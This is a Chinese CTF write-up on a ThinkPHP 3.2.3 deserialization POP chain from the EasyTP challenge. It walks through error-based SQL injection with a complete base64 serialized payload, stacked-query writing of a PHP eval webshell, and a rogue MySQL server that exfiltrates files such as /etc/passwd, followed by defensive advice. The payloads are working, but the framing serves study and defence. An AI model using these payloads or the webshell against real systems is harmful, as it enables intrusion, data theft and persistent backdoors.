ThinkPHP 3.2.3 反序列化漏洞实战:从SQL注入到RCE的三种攻击路径剖析
1. ThinkPHP 3.2.3反序列化漏洞背景解析
ThinkPHP作为国内广泛使用的PHP开发框架,3.2.3版本存在一个经典的反序列化漏洞。这个漏洞的核心在于框架对用户输入数据反序列化处理时的安全缺陷。当攻击者能够控制反序列化入口点时,可以构造特殊的对象序列化字符串,利用框架内部类的魔术方法(如__construct、__destruct等)形成POP(Property-Oriented Programming)链,最终实现任意代码执行。
在实际CTF比赛中,这类漏洞常被设计成综合题型。以[红明谷CTF 2021]EasyTP赛题为例,题目提供了源码泄露(www.zip),分析后发现使用的是ThinkPHP 3.2.3框架。通过审计代码,可以找到控制器中存在反序列化操作的入口点。这个漏洞的特别之处在于,它不仅能实现RCE(远程代码执行),还能与SQL注入结合,形成更复杂的攻击链。
2. 漏洞利用前的环境准备
2.1 搭建本地测试环境
为了复现这个漏洞,建议先在本地搭建与比赛相似的环境。可以使用Docker快速部署一个PHP 5.6+MySQL的环境,因为ThinkPHP 3.2.3对PHP版本有要求。关键配置包括:
docker run --name easytp -p 8080:80 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=root -d php:5.6-apache然后进入容器安装必要的扩展:
docker exec -it easytp bash apt update && apt install -y libmagickwand-dev pecl install imagick docker-php-ext-enable imagick2.2 源码分析与漏洞定位
下载题目提供的www.zip后,重点检查以下几个文件:
- Application/Home/Controller/IndexController.class.php(控制器文件)
- ThinkPHP/Library/Think/*(核心库文件)
在IndexController中通常会找到类似这样的危险代码:
public function test(){ $data = unserialize(base64_decode(file_get_contents('php://input'))); }这就是反序列化的入口点,通过php://input接收POST数据,进行base64解码后直接反序列化。没有任何过滤和检查,为漏洞利用创造了条件。
3. 第一种攻击路径:报错注入实现数据泄露
3.1 POP链构造原理
ThinkPHP 3.2.3的反序列化漏洞利用需要构造一条完整的POP链。这条链通常由多个类的魔术方法串联而成。以本题为例,完整的调用链如下:
Think\Image\Driver\Imagick::__construct() → Think\Session\Driver\Memcache::__construct() → Think\Model::__construct() → Think\Db\Driver\Mysql连接配置关键点在于Model类的__construct方法中设置了数据库操作参数,而$data[$pk]的值会被直接拼接到SQL语句中,导致SQL注入。
3.2 报错注入Payload详解
构造Payload时,我们需要精心设计$data数组中的table值。以下是分步获取数据的Payload示例:
"table" => "mysql.user where updatexml(1,concat(0x7e,mid((select(group_concat(schema_name))from(information_schema.schemata)),1,30),0x7e),1)#"这个Payload利用了updatexml函数的报错特性,通过故意制造XML解析错误来泄露数据。注意几点:
- mid()函数用于分段获取数据,因为updatexml最多显示32位
- concat(0x7e,...)添加~作为分隔符使报错更明显
- information_schema.schemata是系统表,存储所有数据库信息
3.3 实际利用过程
使用Burp Suite或curl发送构造好的序列化数据:
curl -X POST http://target.com/index.php/Home/Index/test \ -H "Content-Type: text/plain" \ -d "TzoyNzoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljAGltZyI7TzoyNzoiVGhpbmtcU2Vzc2lvblxEcml2ZXJcTWVtY2FjaGUiOjE6e3M6OToiACoAaGFuZGxlIjtPOjE1OiJUaGlua1xNb2RlbCI6NDp7czoxMToiACoAb3B0aW9ucyI7YToxOntzOjU6IndoZXJlIjtzOjA6IiI7fXM6NToiACoAcGsiO3M6MjoidGlkIjtzOjg6IgAqAGRhdGEiO2E6MTp7czoyOiJ0aWQiO2E6Mjp7czo1OiJ0YWJsZSI7czoxNjc6Im15c3FsLnVzZXIgd2hlcmUgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsbWlkKChzZWxlY3QoZ3JvdXBfY29uY2F0KHNjaGVtYV9uYW1lKSlmcm9tKGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YSkpLDEsMzApLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIqAGRiIjtPOjE5OiJUaGlua1xEYlxEcml2ZXJcTXlzcWwiOjI6e3M6OToiACoAb3B0aW9ucyI7YToxOntzOjIxOiJQRE86Ok15U1FMX0FUVFJfTE9DQUxJTkZJTEUiO2I6MTt9czo5OiIAKgBjb25maWciO2E6Nzp7czo2OiJkZWJ1ZyI7aToxO3M6ODoiZGF0YWJhc2UiO3M6NDoidGVzdCI7czo4OiJob3N0bmFtZSI7czo5OiIxMjcuMC4wLjEiO3M6ODoiaG9zdHBvcnQiO3M6NDoiMzMwNiI7czo3OiJjaGFyc2V0IjtzOjQ6InV0ZjgiO3M6ODoidXNlcm5hbWUiO3M6NDoicm9vdCI7czo4OiJwYXNzd29yZCI7czo0OiJyb290Ijt9fX19fQ=="响应中会包含类似这样的报错信息:
XPATH syntax error: '~information_schema,mysql,perfor~'通过多次请求和结果拼接,最终可以获取完整的数据库信息。
4. 第二种攻击路径:堆叠查询写WebShell
4.1 堆叠查询原理与开启方法
堆叠查询(stacked queries)允许在一个请求中执行多条SQL语句,这在某些情况下可以极大扩展攻击面。要利用这个特性,需要在Mysql驱动配置中开启MULTI_STATEMENTS选项:
protected $options = array( PDO::MYSQL_ATTR_LOCAL_INFILE => true, PDO::MYSQL_ATTR_MULTI_STATEMENTS => true );4.2 WebShell写入技巧
构造的Payload核心部分如下:
"table" => "mysql.user where 1=1;select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/shell.php';#"这里有几个关键点:
- into outfile需要MySQL有写权限
- 路径需要猜测或通过报错信息获取
- 在CTF环境中通常知道Web根目录是/var/www/html
4.3 蚁剑连接与后续利用
成功写入WebShell后,可以使用中国蚁剑等工具连接。连接时需要确认几个参数:
- URL: http://target.com/shell.php
- 密码: 1(与$_POST[1]对应)
- 编码器: base64(通常需要)
连接成功后,可以浏览文件系统,执行命令。在EasyTP这道题中,flag实际上存储在数据库中,可以通过蚁剑的数据库管理功能直接查询:
SELECT * FROM flag;5. 第三种攻击路径:恶意MySQL服务器文件读取
5.1 Rogue MySQL Server原理
这种方法利用了MySQL客户端-服务器协议的一个特性:客户端在连接时可能会发送文件内容给服务器。如果我们搭建一个恶意的MySQL服务器,就可以诱使目标服务器发送其本地文件内容。
5.2 搭建恶意服务器
使用allyshka/Rogue-MySql-Server项目,关键代码如下:
$filename = "/etc/passwd"; // 默认读取的文件 $srv = stream_socket_server("tcp://0.0.0.0:3307"); while (true) { $s = stream_socket_accept($srv); // ...发送MySQL握手包... fwrite($s, chr(strlen($filename) + 1) . "\x00\x00\x01\xFB" . $filename); // ...接收文件内容... }5.3 完整利用过程
- 在VPS上运行恶意MySQL服务器(注意使用非3306端口,如3307)
- 修改反序列化Payload中的MySQL连接配置,指向我们的VPS
- 触发反序列化,使目标服务器连接我们的恶意MySQL
- 在恶意服务器控制台输入想读取的文件路径,如/var/www/html/flag.php
这种方法特别适合读取服务器上的配置文件或源代码,在某些限制条件下可能比SQL注入更有效。
6. 防御建议与漏洞修复
虽然这是一个CTF赛题,但其中的安全问题在真实开发中同样值得重视。针对ThinkPHP 3.2.3的反序列化漏洞,建议采取以下防护措施:
- 升级到最新版本,官方已修复此漏洞
- 如果必须使用旧版,应该:
- 禁用不必要的反序列化操作
- 对反序列化数据做严格校验
- 使用白名单限制反序列化的类
- 数据库配置方面:
- 使用最小权限原则,避免root账户
- 禁用LOCAL INFILE和MULTI STATEMENTS
- 启用prepare statements
在开发过程中,安全应该作为首要考虑因素。反序列化操作、文件操作、数据库查询等危险函数的使用必须谨慎,输入验证和过滤必不可少。
